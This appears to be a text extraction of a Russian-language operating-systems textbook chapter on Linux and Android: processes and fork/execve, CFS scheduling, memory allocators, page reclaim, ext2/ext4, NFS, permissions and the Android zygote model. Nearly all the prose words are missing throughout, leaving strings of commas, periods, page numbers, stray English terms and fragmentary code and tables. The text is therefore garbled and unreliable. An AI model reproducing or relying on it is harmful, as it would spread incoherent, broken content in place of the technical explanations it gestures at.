exec,
( ).
10.2.
while (TRUE) { /* */
type_prompt( );
/* */
read_command(command, params); /* */
pid = fork( );
/* */
if (pid < 0) {
printf(" "); /* */
continue;
/* */
}
if (pid != 0) {
waitpid (-1, &status, 0); /*
*/
} else {
execve(command, params, 0); /* */
}
}
cp file1 file2
file1 file2. , cp .
cp ( )
argc , .
argc 3.
argv . i- i- .
argv[0] cp. argv[1]
file1, argv[2]
file2.
810
envp main (,
= ,
, ). 10.2
, execve
.
exec ,
. .
exit, .
( 0 255), status
waitpid. status (
).
( 0 255),
. ,
n = waitpid(-1, &status, 0);
, - . , , 4 ( exit),
n, PID , 0x0400 (
0x C ). status , , exit.
, ,
(zombie state)
, . , ,
waitpid, .
, . ,
, ,
.
(, Del Ctrl+C), . .
,
sigaction.
, (. . 10.2).
,
( ). ,
, .
. .
, , .
sigaction
, .
10.3. Linux
811
10.3.3. Linux
Linux : , ,
, . , . , .
. , ,
. ,
: ,
. ,
.
Linux (tasks)
task_struct. ( , ), Linux
.
812
,
. ,
,
. ( )
.
task_struct.
,
( , . .).
( )
.
UNIX Linux
(Process Identifier (PID)).
. PID .
.
(, ).
( ,
).
( ). ,
, ,
.
.
, .
:
1. . ,
,
. , .
2. . : ,
. , . ,
, .
3. . , , , , , .
4. . ,
( ) .
5. . ( ).
6. . ,
, (i-node).
10.3. Linux
813
7. . ,
.
, , , ,
, .
8. . ,
.
9. . , ( ), , PID , PID , .
, , Linux .
.
, . PID,
. ,
. ,
.
fork, (, thread_info).
( ).
, Linux
, .
. Linux PID,
, - PID,
. .
task_struct, /
.
,
,
fork , . ,
( ).
.
, Linux- .
,
, . -
( ) , . , ,
, . ,
, .
814
(copy on write). , .
, (
) exec, .
,
, .
. ( , , Linux UNIX),
: ,
(, , ),
.
, ,
. ,
, ,
, . ( .
3.) , ,
, .
.
. 10.3 :
ls, , fork. exec,
ls.
ls.
Linux
2.
Linux, Linux UNIX. Linux , , .
UNIX. fork.
, ( )
fork. ?
, . ,
( ).
?
, ?
, ?
. ,
fork. ,
. , ,
(
10.3. Linux
815
. 10.3. ls,
fork).
. .
.
- . , ,
lseek, .
? ?
.
? ,
SIGFPE (Floating-Point Exception SIGnal
) ,
. , ? ? ? SIGINT,
. ?
?
, -
. ( )
.
816
clone , ( sharing_flags). ,
( )
.
, , .
, fork
POSIX.
function arg
.
, stack_ptr.
sharing_flags , , UNIX. ,
, . . 10.4 ,
sharing_flags.
CLONE_VM , ( )
.
, ,
clone .
, .
, STORE
. fork.
.
10.3. Linux
817
10.4. sharing_flags
CLONE_VM
CLONE_FS
,
root umask
CLONE_FILES
CLONE_SIGHAND
CLONE_PARENT
818
10.3.4. Linux
Linux. , Linux , ,
.
Linux
:
1. , FIFO (First in First
Out , ).
2. , .
3. .
FIFO
,
FIFO , .
, FIFO,
, .
,
.
. .
, . ,
Linux ,
, Linux P1003.4 (
UNIX), .
0 99, 0 ,
99 .
,
.
100 139,
Linux 140 ( ).
, Linux
. Linux . Linux 1000
1 (jiffy , , ).
500, 250 1 .
10.3. Linux
819
, , .
,
-.
UNIX-, Linux nice.
0,
nice(value), value 20 +19.
.
( )
, .
( 20 1). .
Linux . (runqueue),
,
, , .
. ,
Linux- Linux O(1). -
,
. O(1) :
, . . 10.4, ,
140 ,
. .
. ,
, (, ).
(, -)
,
, . , .
, , ,
, , . ,
( ,
FIFO
, ).
.
, 100 800 ,
139 5 .
820
35
26
10
47
30
NIL
NIL
38
62
NIL
NIL
Priority 0
3
Priority 139
NIL
27
NIL
NIL
86
45
NIL
NIL
NIL
NIL
NIL
Priority 0
Priority 139
)
Linux- O(1);
) -
CFS
, . , read
.
, . ,
, , ,
, .
,
( - ).
Linux ( ) ,
-,
. Linux . , ,
-, , -,
. O(1)
5,
, .
+5. sleep_avg.
, , -
10.3. Linux
821
, .
5 +5. Linux .
O(1) ,
2.6, 2.5.
. ,
, (1),
. , , O(1)
. , , ,
, ,
.
(Ingo Molnar), O(1), ,
(Completely Fair Scheduler (CFS)).
, (Con Kolivas)
, 2.6.23.
,
.
, CFS,
- .
,
vruntime. CFS
. . 10.4, ,
.
, ,
,
, .
.
. CFS
,
, . CFS
vruntime ,
, .
vruntime, . - , ,
.
nice, CFS
,
, .
, vruntime ,
822
,
. CFS
.
, ,
O(log(N)),
N .
,
, ,
, ,
.
Linux-
,
. -,
.
,
. -,
. ,
, (
).
, . , - (
), ( waitqueue).
, .
-.
- (
).
Linux
,
, , Linux
-.
. ,
Linux.
Linux (big
kernel lock (BLK)). ,
(
).
( ).
Linux ,
. Linux
10.3. Linux
823
atomic_set atomic_read.
, , Linux . , rmb
wmb, , -, , .
.
, (
), -, -
-. Linux (ticketbased) -, SMP . , ,
, .
Linux , mutex_trylock sem_trywait. (futexes), (completions),
(read copy update (RCU)) . . ,
, ,
.
10.3.5. Linux
,
. , BIOS
(Power-On-Self-Test, POST), (
, , . .).
( Master Boot Record (MBR)).
(512-) ,
boot , SATA- SCSI-. boot
,
.
boot
. , (, GRUB (GRand Unified Bootloader)).
(, LILO Intel)
. , , ( ).
boot .
boot , .
. , , , ,
, , , main ( C),
.
824
C ,
, . ,
, . , , .
.
, .
. , , ,
.
. , ,
- , ,
. , . ,
.
UNIX, Linux
( , ,
MS-DOS Windows).
,
. ,
,
, , .
, .
(, -), , , .
,
.
,
( -,
). , .
, .
0, . 0
, ,
, 1 (init)
( 2).
init , ,
. , , ,
. init ,
/etc/rc,
10.3. Linux
825
,
, . .
/etc/ttys, .
, getty.
getty ( ,
, ) ,
:
login:
getty . ,
getty /bin/login.
login , , /etc/passwd.
, login ,
. , login
. . 10.5
.
. 10.5.
Linux
getty, 0, . 1 , getty
login, . 2
, (%).
cp f1 f2
826
, cp.
,
.
2 cp cc,
C, , ,
.
10.4. Linux
Linux , , Linux
, (, IBM PC)
. . . .
10.4.1.
Linux ,
: , .
. 10.6 ( ). (text segment) , .
( ,
C C++) . ,
.
1950 , . ,
, .
(data segment) , ,
. : . BSS (Block
Started by Symbol).
, . BSS .
, C . , ,
. ,
,
.
, .
.
, ,
C, 0.
, ,
10.4. Linux
827
. 10.6. A; ;
B
0. :
, , .
( ) .
.
,
,
.
(. . 10.6, ).
8 , 8 . (BSS) 4 .
16 ( + ) ,
4
( ) .
4 .
,
Linux ( , ). ,
.
,
.
, , . . ,
.
Linux .
brk. ,
828
,
. malloc
, .
( heap).
(stack segment).
0. , 32- 86 0xC0000000,
,
.
, ,
.
.
, . ,
(), ,
. , ,
. ,
cp src dest
cp cp src dest , , .
, .
(,
), .
. Linux (shared text segemts).
. 10.6, , A B, . . 10.6, ,
.
.
,
fork, , .
,
,
.
. ,
Linux . , 32-
( )
232 232 .
0 0
, 0 0 . ,
.
Linux
10.4. Linux
829
(memory-mapped files).
, ,
, .
,
, read write. . . 10.7
,
.
. 10.7.
,
.
. , ( )
( ) .
, ,
, -
. ( )
, , ,
, .
.
10.4.2. Linux
POSIX . , .
, , , , -
830
,
malloc ( ANSI C). , malloc POSIX.
.
Linux
. . 10.5.
brk ,
. , , .
10.5. .
s 1; a addr ;
len ; prot ; flags ;
fd ; offset
s=brk(addr)
s=unmap(addr, len)
10.4.3. Linux
Linux 32- 3
, 1 . 1 , ,
. ,
(
0xC0000000 0xFFFFFFFF, 3 4 ).
10.4. Linux
831
64- x86 48 ,
,
256 . Linux ,
128 .
exec.
, Linux
, ,
,
,
( ) .
Linux, .
, ,
, - . Linux :
1. ZONE_DMA , DMA.
2. ZONE_NORMAL .
3. ZONE_HIGHMEM ,
.
. 86 DMA
16 , , ZONE_DMA
0 16 . 64-
, 32- DMA, ZONE_DMA32. ,
i386 896 ,
, , ZONE_HIGHMEM. ZONE_NORMAL
, . 32- 86 896 Linux ,
128
. x86 64 ZONE_HIGHMEM .
zone
.
Linux .
( ).
, ,
, .
, (, ,
. .). (. 10.8) . ,
832
. 10.8. Linux
10.4. Linux
833
). .
. 10.8 free_area[0] (
, ( 20 = 1))
70 .
1 .
, Linux NUMA (
),
(
) (node descriptor).
. UMA Linux
. , .
32 64, Linux
.
Alpha,
Linux 2.6.10, 2.6.11 .
, . 10.9. (
).
, . , .
.
Pentium .
. , .
, .
. .
, .
,
( , ),
, (, , ). ,
.
, , . , , (,
), .
, Linux
, . ,
. Linux , .
( )
(buddy algorithm). .
834
. 10.9. Linux
Linux .
(page allocator),
.
.
. . 10.10,
64 . , 2, 8 .
(. 10.10, ).
,
(. 10.10, ) (. 10.10, ).
, ( . 10.10, ).
. 10.10.
10.4. Linux
835
, 8 . (. 10.10, ). 4 . (. 10.10, ),
(. 10.10, ). 8- (. 10.10, ).
, 8- .
(
16- ), 16- (. 10.10, ).
Linux . ,
1 ,
2 , 4 . . , ,
2.
,
65- , 128- .
, Linux (slab allocator), ,
.
(,
task_struct), (object caches).
,
. ,
.
, (
task_struct),
task_struct .
, . ( )
,
. kmalloc,
,
( ).
vmalloc,
, , .
. ,
( ). vmalloc
,
(,
).
System V.
, .
836
. (. . 10.8). .
. : ,
Pentium 4 , Alpha 8 . Pentium 4 . 64-
Linux (huge pages)
2 1 . ,
(Physical Address Extension (PAE)), 32-
4 , 2 .
vm_area_struct. (
) ,
( ).
( 32 ), . vm_area_struct .
(, /), ,
( ) ( , ).
vm_area_struct ,
. fork Linux ,
. /,
. - ,
, , .
/. .
vm_area_struct ,
, , .
,
. (, ) (
).
mm_struct ( ),
(, , ), ( ) . . mm_struct
( ). -, , .
,
.
, vm_area_struct (
). ,
. , Linux
,
, .
10.4. Linux
837
10.4.4. Linux
UNIX (swapper process),
(
). Linux (
UNIX) . ,
. Page Frame Reclaiming Algorithm, .
Linux : , . , ,
. ,
.
, ( )
.
, , .
, ,
(page daemon). 2 ( 0 idle, , 1 init (. . 10.5)).
, . , . ,
, .
Linux
( ) ( , ).
.
( ), ( ), (swap area). , .
,
, , ,
, . -,
. -, ,
. -,
, .
,
.
, , . ,
, ,
( ) , , (
) . ,
( ) ,
. , ,
( ),
.
838
. Linux
,
. , .
PFRA (Page Frame Reclaiming Algorithm).
Linux : (unreclaimable), (swappable), (syncable) (discardable). (
, . .) .
( ) , .
, .
, .
init kswapd (
) .
kswapd , ,
. ,
, , .
, kswapd PFRA.
( 32 ). ,
- ( , PFRA).
, .
PFRA , .
, . , ,
,
. ,
( ). ,
. ,
,
( ) . Linux
,
.
, ,
. (swappines)
,
, PFRA, . , , , , DMA, .
PFRA ( )
, . ,
10.4. Linux
839
,
( ).
, ,
. ,
, .
PFRA
. 10.11 . , ,
PFRA : /
/. (.
. 10.11). PFRA
. ,
, ,
. ,
.
. 10.11. , PFRA
(
) . ,
, PG_active PG_referenced, (. . 10.11).
( ).
.
PFRA ( )
, : , (
). , , .
, .
pdflush,
, . pdflush
( 500 ) -
840
, (
)
. ( )
pdflush.
(
, sync, orfsync fdatasync). Linux
: kupdate ( ) bdflush
( ). 2.4
pdflush.
.
10.5. - Linux
- Linux
UNIX-. , - read write,
.
. .
10.5.1.
,
Linux - (, ,
).
. , Linux
(special
files). - (
/dev). , /dev/hd1,
/dev/lp, /dev/net.
,
. .
read write. ,
cp file /dev/lp
file , (
, /dev/lp).
, ( ,
). cp
, . , -
.
: . (block special file) . ,
.
, , ,
10.5. - Linux
841
124- ( 0- 123-). .
(character special files)
.
, , , , ,
. . ( ) 124- .
,
. (major device), .
(, ),
(minor device). -.
. , /dev/tty , ,
.
, ,
. , ,
.
, .
Backspace,
Del.
. @, ( @ )
Ctrl+U .
.
Ctrl+C, .
Linux ,
.
.
, , . .
.
10.5.2.
- ,
Berkeley UNIX Linux . Berkeley UNIX (socket).
,
, ,
. . 10.12.
. ,
, , .
842
. 10.12.
, . :
1. .
2. .
3. .
. . ,
, , .
, .
write,
512 , 2560 , 1
2560 . 2
512 . , read .
.
,
. . , 3
. , (, ,
, ).
. , , TCP
(Transmission Control Protocol ).
UDP (User Data Protocol ). IP (Internet
Protocol). ARPANET
.
.
10.5. - Linux
843
,
.
.
, 32- ( ) IP v 4 128- IP v 6
(5- IP ,
).
- -,
(
). listen,
( ,
). connect,
.
,
.
.
,
. , close.
10.5.3. - Linux
- Linux
. -
, .
. POSIX
UNIX ioctl, ,
. . POSIX
, ioctl , .
Linux UNIX- ,
.
. 10.6 .
, . ,
videotex
( ) 75 / ,
1200 /. ,
1200 /
. .
. ,
ADSL (Asymmetric Digital Subscriber Line
)
20 / 2 /.
844
10.6. POSIX
s=cfsetospeed(&termios, speed)
s=cfsetispeed(&termios, speed)
s=cfgetospeed(&termios, speed)
s=cfgtetispeed(&termios, speed)
s=tcgetattr(fd, &termios)
, , . . , ,
, - .
-, ,
. , ioctl
- .
10.5.4. - Linux
- Linux ,
. .
-
.
,
, ,
. -, ( ) .
, , . . . Linux
,
.
( ) . 10.7. -
( ). , .
. ,
- ( ), (
). ,
, .
10.5. - Linux
845
10.7. ,
Open
Close
Read
Write
Ioctl
Other
Null
null
null
null
null
null
null
null
mem_read
mem_write
null
k_open
k_close
k_read
error
k_ioctl
Tty
tty_open
tty_close
tty_read
tty_write
tty_ioctl
lp_open
lp_close
error
lp_write
lp_ioctl
, Linux
.
Linux.
. , , DMA
. . , ,
(Driver-Kernel Interface). Linux Cooperstein (2009) Corbet et al.
(2009).
- :
. .
, -
(, ),
. Linux-
(. 10.13).
2.2 Linux ,
.
Linux . ,
, .
, . (, i-,
), . ,
, (
).
, ,
, .
, .
, .
, , . pdflush
, .
,
30 .
846
. 10.13. - Linux ( )
, Linux
- (I/O scheduler).
- . , .
Linux Linus Elevator
scheduler. :
, . .
.
,
. .
(
). 0,5
5 .
,
.
( raw block files).
( ). , .
. ( ),
.
(line disciplines).
( tty_struct)
10.5. - Linux
847
, . ,
(
),
, .
,
( ).
.
, ,
, -,
. . ,
( ) ( ).
. .
(network devices)
. ,
. , (
).
.
skbuff, , .
skbuff .
, .
sockets, Linux BSD.
( raw_sockets).
.
10.5.5. Linux
UNIX ,
.
-, , , UNIX. ,
( -), .
, ,
.
Linux, . - , -. ,
Linux ( )
848
,
,
, ( , ,
).
Linux (loadable modules). ,
. ,
,
, ,
.
. -,
( ) . -,
, (,
), , ,
. -, . -,
. ,
.
, (
, ). UNIX
.
10.6. UNIX
( Linux)
.
Linux, .
MULTICS (
MS-DOS, Windows ), UNIX-
. Linux ,
(Small is Beautiful).
Linux .
10.6.1.
Linux MINIX 1.
- , 14
( UNIX Version 7),
64 ( ,
10 ), Linux (
5 MINIX 1).
ext, 255
2 ( , MINIX 1,
). -
10.6. UNIX
849
ext2 ( ,
), . Linux
Virtual File System (VFS), .
Linux , , . ( )
( ).
Linux ( 0
), . (ASCII) ,
. .
. 255 .
ASCII-, NUL, (
).
,
, ( ). , prog.c C, prog.py Python, prog.o (
). ,
. ,
, prog.java.Z, , ,
Java.
.
, , . , .
/ . /
, /usr/ast/x
x, ast,
usr. ( ) . 10.8.
10.8. ,
Linux
bin
()
dev
etc
lib
usr
Linux ( ,
). (absolute path), , .
850
: /usr/ast/books/mos4/chap-10. ,
usr, ast,
books, mos4, chap-10.
.
Linux ,
, (working directory).
. , , (relative path). , /usr/ast/books/mos4 ,
cp chap-10 backup-10
,
cp /usr/ast/books/mos4/chap-10 /usr/ast/books/mos4/backup-10
, , , .
, , , ,
(
). , . Linux
(link),
, .
, . 10.14, .
, . /usr/fred, x
/usr/lisa/x.
(. 10.14, ), x.
,
, x ,
. 10.14. ;
10.6. UNIX
851
. . , . ...
. ,
, . ,
/usr/fred x
../lisa/x.
Linux
.
-,
. /dev/tty ,
. /dev/lp , .
( , /dev/hd1)
, .
k, , k- , i- .
(, mkfs), ,
(, fsck).
. ,
100 (
).
(, DVD).
.
,
. , ,
. 10.15, . , C:, DVD, D:.
.
( ).
, x d (, C:),
cp D:/x /a/d/x
, Windows 8,
MS-DOS, .
Linux , .
DVD /b, ,
. 10.15, .
, .
cp /b/x /a/d/x
,
.
852
. 10.15. : ;
Linux (locking).
, . , .
,
, , , .
, , , ,
.
, down .
,
.
POSIX ,
( ).
, . , , ,
(, ) .
: (exclusive
locks) (shared locks).
, , . -
,
, .
, .
,
, . ,
,
, .
,
10.6. UNIX
853
, ,
. , ,
(, ).
. . 10.16, , A 4- 7-
. B 6-
9- (. 10.16, ). , C 2- 11-.
, .
, ,
9 (. 10.16, ), .
.
, (B C) .
. 10.16. : ; ;
10.6.2. Linux
.
, .
,
. creat.
( , , UNIX, ,
854
creat create.)
. ,
fd = creat("abc", mode);
fd=creat(name, mode)
fd=open(file, how,
s=close(fd)
s=stat(name, &buf)
s=fstat(fd, &buf)
s=pipe(&fd[0])
,
0, 1 2 , . , (, -
10.6. UNIX
855
sort) 0,
1, , .
, ,
( ).
read write.
: (,
), (, ), (,
). . . :
n = read(fd, buffer, nbytes)
,
.
, .
( ) ,
( ). , 1024
4096- , read
5120- . lseek,
read ( write) ( ) . lseek,
, 16-
seek.
lseek : , , , ,
. lseek
, . , lseek
,
, , , ,
.
Linux ,
() (, , ), ,
, .
stat. .
,
. . 10.10.
fstat , stat, , ( ), .
10.10. , stat
,
i- ( )
( )
856
pipe .
, ,
.
sort <in | head -30
1 ( ) , sort,
, 0 ( )
, head, . sort 0 ( in)
1 (), , . , sort
( ).
, head 0, , sort
( , ). ,
() ( 0
1) (
).
. 10.9 fcntl.
,
.
,
, .
. 10.11.
mkdir rmdir .
, .
10.11. , .
s 1; dir ;
dirent .
s=mkdir(path, mode)
s=rmdir(path)
s=link(oldpath, newpath)
10.6. UNIX
s=unlink(path)
s=chdir(path)
dir=opendir(path)
s=closedir(dir)
dirent=readdir(dir)
rewinddir(dir)
857
. 10.14,
, . link.
. unlink.
, .
,
unlink .
chdir. -
.
. 10.11 .
, .
readdir ( ). (
, ).
creat link,
unlink. Linux , rewinddir,
.
10.6.3. Linux
(Virtual File System (VFS)) . VFS (
) Linux
( ).
VFS.
Linux ext2 ( ).
ext4.
. Linux-
, .
Linux
, , Linux
858
read_inode, sync_fs
(dentry)
create, link
i-
d_compare, d_delete
(file)
read, write
(,
/usr/ast/bin), VFS dentry,
. . dentry_cache. , dentry_cache
/, /usr, /usr/ast . . (
),
.
, file ,
open. ,
read, write, sendfile, lock (
).
VFS . ( ,
VFS). operations
VFS .
Ext2 Linux
Linux ext2.
Linux MINIX 1, 64 .
MINIX 1 ext, -
10.6. UNIX
859
. ( )
ext ext2, .
ext2 . 10.17 . 0 Linux .
0 (
). .
. 10.17. ext2
(superblock), , i-, ,
( ).
, , i- ,
. , ext2
.
i- (
MINIX 1
UNIX, ).
. 1 8192 8192 i-.
, . 4
.
i-. 1 .
i- 128 , . i-
( stat,
i-), , .
i- . .
, . , ,
.
i- .
Ext2 , , , i-
( , ).
Berkeley Fast File System (McKusick et al., 1984).
,
860
. ,
ext2 (preallocates) () (
- ).
. (
).
Linux
(, open), . ,
. ,
,
. , i- : ( ) .
255 (. 10.18).
(
).
(
). , .
. 10.18
. i-, 19 colossal, 42 voluminous 88 bigdir.
rec_len, (,
- ). , ( ,
10.6. UNIX
861
). .
, . .
(8, 10 6 ). , ,
32- .
-.
. 10.18, , voluminous
. , , colossal,
voluminous .
.
, , , .
, .
, ,
. dentry
, ( i-)
( , i- ).
, , (, /usr/ast/file),
. , i- 2 ( i- 1
). ( ).
usr, i- /usr
( ). i- ,
, /usr
ast. , i- /usr/ast. i-,
. , file i-.
, ,
.
, i-
i- ( ) i-
. i- i- (i-node table)
, i-
. i- ( ) , stat, stat (. . 10.10).
. 10.13 i-, Linux. i- ,
,
. i-
. ,
.
, . ,
read
:
n = read(fd, buffer, nbytes);
862
10.13. i- Linux
Mode
, , setuid setgid
Nlinks
, i-
Uid
UID
Gid
GID
Size
Addr
60
12 3
Gen
( i-)
Atime
Mtime
Ctime
i- ( )
, , ,
( ). .
( , 32).
, i-. :
i- . ,
( ) . .
,
, .
? i-.
,
,
.
.
. , ,
Linux. s, (p1 p2), .
s >x
, p1 x,
p2 x, ,
p1.
p1, x , p1
0. p1 , , , p2
10.6. UNIX
863
0 ( ,
), , p1.
, , . 10.19. ,
(open file description table)
i-
( /). ,
p1, p2.
p1, ( ) ,
.
p1 ,
, p1
. p2, , ,
.
. 10.19. ,
i-
- ,
,
. ,
864
, ,
.
( read), , i-. I- 12
. 12 ,
. , 12 , i-
(single indirect block) (. 10.19). . , 1 ,
4 , 256
. 268 .
(double indirect
block). 256 ,
256 . 10 + 216 (67 119 104 ). ,
i- (triple indirect block).
. 224 1 ( 16 ).
8 64 .
Ext4 Linux
ext2 .
, .
,
30 , ( ) .
Linux
(journaling file systems). ext3
ext2. ext3,
ext4, , ext3 , ,
, .
.
,
.
(i-, . .)
( ). ()
. , ,
,
( ) .
10.6. UNIX
865
Ext4 ,
ext2 ext3, . , , ext2
ext4 .
, .
, , .
, ext4
. /
JBD (Journaling Block Device).
JBD : (log record), (atomic operation handle), (transaction).
(
). (, write)
i-,
, , . .,
. Ext4 JBD ( JBD
, ).
, JBD
. . JBD ,
.
, ext4 ,
, ,
(i-, , . .).
,
. (, XFS
SGI). ,
.
ext4 . :
, 128 4- , ext2. , ext4
.
. ext4
. , 1 ext4
16 16 ,
1 ().
/proc
Linux /proc (process ).
8- UNIX,
Bell Labs, 4.4BSD System V.
866
Linux .
, /proc. PID
. , /proc/619 ,
PID 619. ,
, . . , .
, Linux, , /proc.
, , , ,
, , . ,
( ).
/proc, .
10.6.4. NFS
Linux ( UNIX- )
( UNIX
PDP-11/70 Interdata 8/32).
NFS (Network File System ) Sun Microsystems, Linux
( )
. 3 NFS
( 1994 ). NSFv4 2000 .
.
NFS: , . 3,
4.
NFS
NFS ,
. ,
. NFS (
).
, ,
NFS , .
NFS ,
. ,
, , .
( /etc/exports), . ,
. () ,
(. 10.20).
10.6. UNIX
867
. 10.20. . ,
NFS
NFS
,
, ,
.
, ( ).
NFS . (protocol) , ,
, .
NFS .
-
868
. , , , .
,
(file handle). , , , i-
. .
Linux ( ) /etc/rc.
. ,
, .
Linux (automounting).
.
( ).
( ) . , .
( /etc/rc). -, ,
/etc/rc, ,
( , ,
). , . -,
(
) (
, , ).
,
. NFS ,
.
, , ,
. , .
NFS .
,
. , , . NFS
Linux, (
) open close.
open close . .
, . , . ,
, lookup ( ) , ,
10.6. UNIX
869
(
i- ). open,
lookup .
read ( ),
( ),
. , .
, (
) - .
,
, . , , (stateless).
, NFS Linux. , Linux
, .
, . (,
NFS) , ,
. , NFS .
NFS UNIX rwx
, ( 1,
).
, NFS .
NFS , . ,
( ?) .
.
, .
NFS
NFS,
Linux ,
. 10.21. .
, open, read close.
VFS (Virtual File System ).
VFS ,
. VFS
, v- (virtual i-node i-). V- , .
, .
i-,
Linux (, ext2fs, /proc, FAT
. .). VFS NFS,
Linux
( NFS ).
870
. 10.21. NFS
, v-,
mount, open read. , ( /etc/rc) mount,
, (
) . mount NFS, . ,
.
, . ,
mount, .
v- NFS
(. . 10.21) r- ( i-)
. V- r-. v- VFS
r- NFS, i- ( . 10.21
). , v- ,
( ) . ,
i-. ,
.
, - (
) ,
. , , v-
r-. NFS . NFS
(
10.6. UNIX
871
) .
r- VFS,
v- , r-. ,
( ) v-, r- i-.
.
v- VFS. ,
.
, .
,
( ).
,
RPC ( ).
(,
read), VFS v- ,
, i- r- .
, , (
, ) .
, 8192 ( ).
, VFS,
, .
VFS ,
. . VFS
8 , , , .
, (read ahead),
.
. 8 . write 8 ,
. 8 ,
. ,
.
, ,
UNIX. , , .
(i-) .
i-, , ,
. , .
,
. ,
.
, .
.
, NFS . -, .
, . , -
872
3 , 30 . , .
, , , .
,
, , . , 30 ()
. , .
NFS 4
4 Network File System
( ) . NFSv3, NFSv4 .
open , NFS
( ).
,
. , NFSv3 .
NFSv4
NFSv3 . , , . NFSv4
Linux, Windows.
10.7. Linux
Linux ( MINIX UNIX) . ,
.
Linux.
10.7.1.
Linux , UID (User ID ). UID 0
65 535. , .
, (
).
, 16- , GID (Group ID ).
( ),
, .
.
, .
10.7. Linux
873
111000000
rwx------
111111000
rwxrwx---
110100000
rw-r-----
110100100
rw-r--r--
111101101
rwxr-xr-x
000000000
---------
000000111
------rwx
(, )
. 10.14 .
.
, , .
, .
,
. . -, ,
,
.
, . ,
, , , .
. ,
, .
, UID 0,
(superuser root).
, . UID = 0 -
874
, .
, ,
,
,
.
.
, , . , x
, . ,
rwxr-xr-x , ,
,
, .
, -,
. -
. ,
/dev/lp (root) .
rw-------,
.
.
, /dev/lp rw-------,
, . , ,
,
- .
- .
9
, SETUID.
SETUID, UID (effective UID) UID
, UID .
, UID, UID.
, , ,
SETUID, (, /dev/lp),
( ).
UNIX ,
, SETUID. ,
passwd, ,
. ,
. , root,
SETUID.
,
.
SETUID SETGID,
GID .
.
10.7. Linux
875
10.7.2. Linux
.
. 10.15. chmod. . ,
s = chmod("/usr/ast/newgame", 0755);
newgame rwxr-xr-x,
( , 0755
, ,
). .
10.15. , .
, s 1; uid gid , , UID
GID.
s=chmod(path, mode)
s=access(path, mode)
,
UID GID
uid=getuid( )
UID
uid=geteuid( )
UID
gid=getgid( )
GID
gid=getegid( )
GID
s=setuid(uid)
UID
s=setgid(gid)
GID
access ,
UID GID. ,
SETUID, root.
, , .
,
. access ,
UID GID.
UID
GID. .
, UID GID .
10.7.3. Linux
, login (
SETUID root) .
/etc/passwd, ,
876
- ( ).
, . ,
/etc/passwd , .
bash, , csh
ksh. setuid setgid,
UID GID ( ,
SETUID root).
( 0) ( 1),
( 2). ,
.
UID GID,
, , . ,
fork ( , ),
UID GID ,
. , , .
- ,
i- UID
GID, , . , .
, 1.
read write .
, ,
, .
Linux ,
, UNIX.
10.8. Android
Android ,
. Linux
Android Linux Linux (,
, , , . .),
.
5 Android .
,
, . , .
, ,
(
, , ),
10.8. Android
877
, (GUI),
VOIP-, -, ,
.
Android Java.
C C++. Java, API
, , Java.
Android, Java, - , , , .
878
Google Play .
, ,
, Android-,
CDD.
. , Google Play , (, GPS ), ,
.
10.8.2. Android
Google Android 2000- ,
Android , . Android
Google.
Android, Inc. .
, , .
, Linux,
.
, .
: JavaScript, Java C++.
Google Android 2005 , Android
. ,
.
2006 :
Java.
,
, .
, , .
,
. API-
, ,
. Java
.
Android , . Google
10.8. Android
879
Android 1.0
Android 2007 ,
SDK. ,
Android- , API-
. , Android,
. , , Sooner Dream.
Android , .
SDK.
, ,
880
,
.
: SDK
API-
, Dream. SDK,
2008 0.9,
API-.
, 2008
, Dream.
Android , , , C
Dalvik- ( ), .
Android ,
, , .
,
,
.
, 2008
.
. Android 1.0 Dream,
T-Mobile G1.
Android 1.0 .
5 15
1.0 .
Compatibility Definition Document ,
T-Mobile G1.
. .
1. 2009 Android 1.5 2.0
,
, (
, ) QVGA- , WVGA
Motorola Droid. , ,
, .
Google Play, , .
2. 2011 Android 3.0 4.0 10-
.
, QVGA- -
10.8. Android
881
, 7- 10- .
3. , ,
,
Android-. , Google
TV, , , . .
: Google Android- .
Android 1.0
API- ,
Google. Google
.
, Google .
:
1. 2009 Android 2.0 ,
API-
, . Google,
, SDK
API.
2. 2010 Android 2.2 Google.
Google,
(cloud-to-device messaging),
, ,
.
3. 2012 Google
Play, Google,
.
2010 , API-,
, Google.
10.8.3.
Android :
1. . Android, , ,
, .
2. ,
, API. , , , ,
882
,
, . Android
( SDK
API- )
( CDD).
3. ,
Google, . Android ,
, : (,
API-
) (, Google) (, ).
4. , .
, ,
.
, .
5. , , .
: ,
SMS- IM-, . .
. - Android
200 .
6. , ,
.
,
, , .
, .
7. .
:
,
. ,
.
8. . ,
, -
10.8. Android
883
. Android , ,
.
10.8.4. Android
Android Linux, , .
Linux
Linux .
Linux- Android- init, .
init- Android -, ( ),
,
(cron jobs). Android , Java Dalvik.
, Java.
Android . 10.22. init, -.
zygote, Java.
system_server
phone
Dalvik
Dalvik
appN
app2
app1
Dalvik
Dalvik
Dalvik
zygote
installd
servicemanager
adbd
Dalvik
init
. 10.22. Android
884
USB), ,
.
Android Java,
zygote . , zygote, system_server
. , ,
.
zygote .
,
, ,
.
.
, Android (Android
framework). ,
.
system_server.
API- Android,
, , . 10.23.
API- ,
, PackageManager.
PackageManager
PackageManagerService
Binder IPC
Bind
er IP
der
Bin
IPC
. 10.23.
10.8. Android
885
system_server. system_server
(service manager), -, init. PackageManager service manager ,
.
PackageManager , .
PackageManager Android- Binder IPC,
PackageManagerService system_server. PackageManagerService
,
.
10.8.5. Linux
Android Linux, Linux. Android
,
Linux. Linux,
Android.
,
Android Linux
(wake locks) (suspend blockers).
:
,
. ,
.
: , -
. ,
,
.
.
, , ,
. , : ,
.
886
,
, , .
: ,
, , ,
, , , .
.
, :
,
. , ,
, Linux ( ) ,
.
, , :
1. , .
2. , .
3. ,
, .
Android , .
. , , ,
- , .
, ,
, , , .
, , , ,
, -
. , .
, , . ,
(, ),
(, ).
Linux
: ,
, .
, , ,
, .
10.8. Android
887
,
, .
, .
, ,
.
- , .
, .
Linux Out-Of-Memory Killer,
.
.
, , . ,
,
.
, .
, .
,
, ,
, , , .
Android . ,
: ,
,
. Android
Linux- ,
.
, (, ) mmap , , ,
.
Linux- ,
, .
, Android , ,
.
888
Android
. Android ,
.
,
-. , ,
- . ,
,
, , -
.
, ,
Android , . Linux
oom_adj,
. Android- ,
: oom_adj . Android
, .
10.8.6. Dalvik
Dalvik Android Java,
,
. system_service, ,
,
Java, Dalvik.
Android ,
Java. Java Android- - Dalvik, - ,
- Java, - . -
Dalvik , JIT- (Just-in-Time ). - Dalvik
,
.
Android- Java, - Java
Java. Android - Java
- Dalvik. - Dalvik ,
.
, ,
, Android
Linux.
10.8. Android
889
Java , , Linux.
Android . Android , Java
, , . ,
Linux- Dalvik, system_server ,
Java.
Android
Linux, ,
, , .
Android Linux,
SecurityManager Java.
Linux
Dalvik,
. , ,
